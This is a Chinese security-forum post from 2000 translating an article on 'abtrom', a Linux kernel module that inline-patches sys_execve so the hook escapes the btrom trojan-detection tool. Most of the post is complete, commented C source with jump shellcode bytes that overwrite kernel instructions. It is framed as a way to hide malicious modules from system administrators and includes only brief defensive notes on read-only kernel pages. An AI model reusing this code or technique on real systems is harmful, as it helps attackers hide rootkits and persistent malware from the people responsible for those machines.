发信人: cloudsky (小四), 信区: Security 标 题: 钩子模块基本原理(修订版) 发信站: 武汉白云黄鹤站 (Sat Apr 15 20:24:44 2000), 站内信件 标题:钩子模块基本原理 ★ 如何创建绕过 btrom 木马清除程序的隐藏模块 主 页:http://www.isbase.com 原 著:riq 翻译整理:backend 前言: 本文讲述了如何通过替换系统调用指令而不是其入口地址来实现“钩子”,从而 增加了“钩子”代码的隐蔽性。如果读者对 Microsoft Windows 的“钩子”函 数编程有一些了解的话,也许会觉得其实现机理有相似之处。其实在很多黑客工 具中也有“钩子”的身影,如键盘记录器、口令截获器等。 本文只涉及了一些 基本原理和实现机制,并给出了一个很好的例子。该实例的编写非常严谨,原文 还附有少量的注释。为了使读者能更好、更快地理解和掌握此项技术,我对实例 中几乎每一行程序都添加了注释,希望对你们有所帮助。如果本译文有错漏之处, 敬请读者指正。 正文: abtrom(anti btrom)是一个用于绕过 btrom 的程序(btrom 是一个系统管理员检查主 机中是否存在木马的“木马清除器”)。abtrom 虽然是一个模块,但却没有直接使用 sys_call 系统调用表,从而使自己成功地成为一个隐藏模块。 Anti Btrom 模块的成功创建表明运用系统管理员技术隐藏恶意模块是有可能的,同 时也证实了一个使用特殊的、与以前所论述的“隐藏内核模块”不同的技巧。 为什么不使用 sys_call_table(系统调用表)? 使用系统调用表去“钩”一个系统调用(类似于 Windows 的“钩子”函数)是一种 “正确”的方法,但却不适用于隐藏模块,因为象“btrom”这类程序能够监测得到, 并且通过 System.map 将其关闭。以下通过 abtrom 为例来说明实现过程。例如,我 们要“钩”系统调用sys_execve,反汇编 sys_execve 系统调用: kdb> id sys_execve sys_execve : pushl %ebp sys_execve+0x1: movl %esp,%ebp sys_execve+0x3: subl $0x10,%esp sys_execve+0x6: pushl %esi sys_execve+0x7: pushl %ebx sys_execve+0x8: addl $0xfffffff4,%esp sys_execve+0xb: movl 0x8(%ebp),%eax sys_execve+0xe: pushl %eax sys_execve+0xf: call getname 我们必须注意到第4条指令(偏移量0x6)只占用一个字节,这一点对以后替换指令时非 常重要。为了使其跳出并运行我们的“钩子”过程,必须插入具有以下类似跳转功能 的指令: movl hooked_execve, %eax jmp *%eax 这两条指令共占用7个字节,比较一下 sys_execve 过程的前4行指令,刚好也是一共 7个字节,因此当我们替换跳转指令时并不会使指令混乱。另外,在我们进行指令替 换前,还必须保存并占用字节的原有指令代码。现在,只要在 "hooked_execve" 处 写入原有指令的保存地址,便可以成功跳转出去并执行原有指令(在我们的“钩子” 过程中)。例子如下: char original_bytes[20]; /* 被保存的原有指令代码 */ void hooked_execve( void ) { asm volatile( "jmp original_bytes;" ); } 在运行完被保存的原有指令代码后,我们还要返回到原系统调用过程中继续运行(在 本例中,返回地址应为 sys_execve + 7)。在返回前,我们当然还可以执行一些自己 的指令代码。sys_execve 在被替换指令后,代码如下: kdb> id sys_execve sys_execve : movl $0xc8434050,%eax sys_execve+0x5: jmp *%eax <- 跳转 sys_execve+0x7: pushl %ebx <- 注意:在这以后的指令并无改变。 sys_execve+0x8: addl $0xfffffff4,%esp sys_execve+0xb: movl 0x8(%ebp),%eax sys_execve+0xe: pushl %eax sys_execve+0xf: call getname 提示,在我们的 "our_sys_execve" 函数过程中,在执行跳转指令前,要注意恢复堆 栈。请参考 abtrom.c 源程序。 跳转还有另一个方法(占用6个字节,少1个): push $address ret 那么,我们是否可以利用这个方法来防御 abtrom 呢? 虽然可能做到这一点,但有相当难度,因为跳转指令可被放置到该系统调用指令代码 段的不同地方,而且还可以加入很多隐藏手法。或许我们有更简单的办法,假设入侵 者在我们的系统中已取得 root 权限,如果内核支持模块,我们可以用以下方法来终 止这种攻击: * 将内核代码内存页置为只读,则所有系统调用均无法改写。 * 然后将页表也置为只读。 * 最后,当内核出现异常(Exception)时,或者忽略(不处理),或者终止。 以下是源程序 abtrom.c,其中包含了上面提到的所有技术内容: /* * abtrom.c: anti btrom * 22/08/99 by riq * v0.2. * * compile with: * gcc -c -O2 abtrom.c * * This module was tested in: * kernel 2.2.10 * kernel 2.0.36 * * 钩子模块被载入后,当系统需要调用 sys_execve 过程时,指令代码段的执行顺 * 序为:sys_execve 入口(ab_jmpcode1) ===> 钩子模块功能(abtrom_hook) ===> * 保存到钩子模块中的 sys_execve 指令代码(ab_bcode) ===> (返回到)系统调 * 用过程 sys_execve。 * */ #define MODULE #define __KERNEL__ #include #include #include #include #include extern void * sys_call_table[]; /* 系统调用表 */ /* 以下指令代码将替换原有系统调用指令代码 */ unsigned char ab_jmpcode1[7] = "\xb8\x67\x45\x23\x01" /* mov $address, %eax 取得跳转地址 */ "\xff\xe0"; /* jmp *%eax 跳转到钩子函数 abtrom_hook */ /* * 以下指令代码为跳出原系统调用代码段后必须要执行的指令代码(执行被保存的指 * 令代码和返回原系统调用 */ unsigned char ab_bcode[20] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" /* 13 nops 空指令,用于插入被替换的原有指令代码 */ "\xb8\x67\x45\x23\x01" /* mov $address, %eax 取得返回地址 */ "\xff\xe0"; /* jmp *%eax 跳转回原系统调用 */ /* 此函数功能是本模块要实现的具体功能,可根据实际情况编程 */ void abtrom_hook ( int a ) { printk( "sys_execve is hooked by abtrom\n" ); asm volatile ( "mov %ebp, %esp;" /* 恢复堆栈 */ "popl %ebp;" /* 恢复堆栈基地址寄存器 */ "jmp ab_bcode" /* 跳转执行原系统调用指令,并返回原系统调用中 */ ); } int abtrom ( int numero ) { int i; char * ptr; unsigned int addr; addr = ( unsigned int )&abtrom_hook; /* 取得 abtrom_hook 函数地址 */ ptr = ( char * )&addr; /* 取得 abtrom_hook 函数地址指针get from_jump address */ for ( i = 0; i < 4; i++ ) { ab_jmpcode1[ i + 1 ] = ptr[ i ]; /* 将 abtrom_hook 函数地址写入(替换的)跳转代码中 */ } ptr = sys_call_table[ numero ]; /* 取得系统调用表sys_call_talbe的对应入口项地址 */ for ( i = 0; i < 7; i++ ) { ab_bcode[ i ] = ptr[ i ]; /* 保存原系统调用指令代码 */ ptr[ i ] = ab_jmpcode1[ i ]; /* “钩”——替换系统调用指令代码 */ } addr = ( unsigned int )(ptr) + 7; /* 返回原系统调用的地址,+7是因为共替换了7个字节代码 */ ptr = ( char * )&addr; /* 取得返回地址指针 */ for ( i = 0; i < 4; i++ ) { /* * 将返回地址写入 abtrom_hook 函数过程中实现“返回原系统调用 * 功能”指令代码段 ab_bcode 的相应位置 */ ab_bcode[ i + 14 ] = ptr[ i ]; } return 0; } /* 模块初始化 */ int init_module ( void ) { abtrom( __NR_execve ); /* “钩”系统调用 EXECVE */ return 0; } /* 模块卸载 */ void cleanup_module ( void ) { int i; char * ptr; ptr = sys_call_table[ __NR_execve ]; /* 取得被“钩”系统调用入口项地址 */ for( i = 0; i < 7; i++ ) { ptr[ i ] = ab_bcode[ i ]; /* restore de hook 恢复原系统调用指令代码 */ } printk( "abtrom: Bye.\n" ); } <完> -- 我问飘逝的风:来迟了? 风感慨:是的,他们已经宣战。 我问苏醒的大地:还有希望么? 大地揉了揉眼睛:还有,还有无数代的少年。 我问长空中的英魂:你们相信? 英魂带着笑意离去:相信,希望还在。 ※ 来源:.武汉白云黄鹤站 bbs.whnet.edu.cn.[FROM: 203.207.226.124] -------------------------------------------------------------------------------- 分类讨论区 全部讨论区 上一篇 本讨论区 回文章 下一篇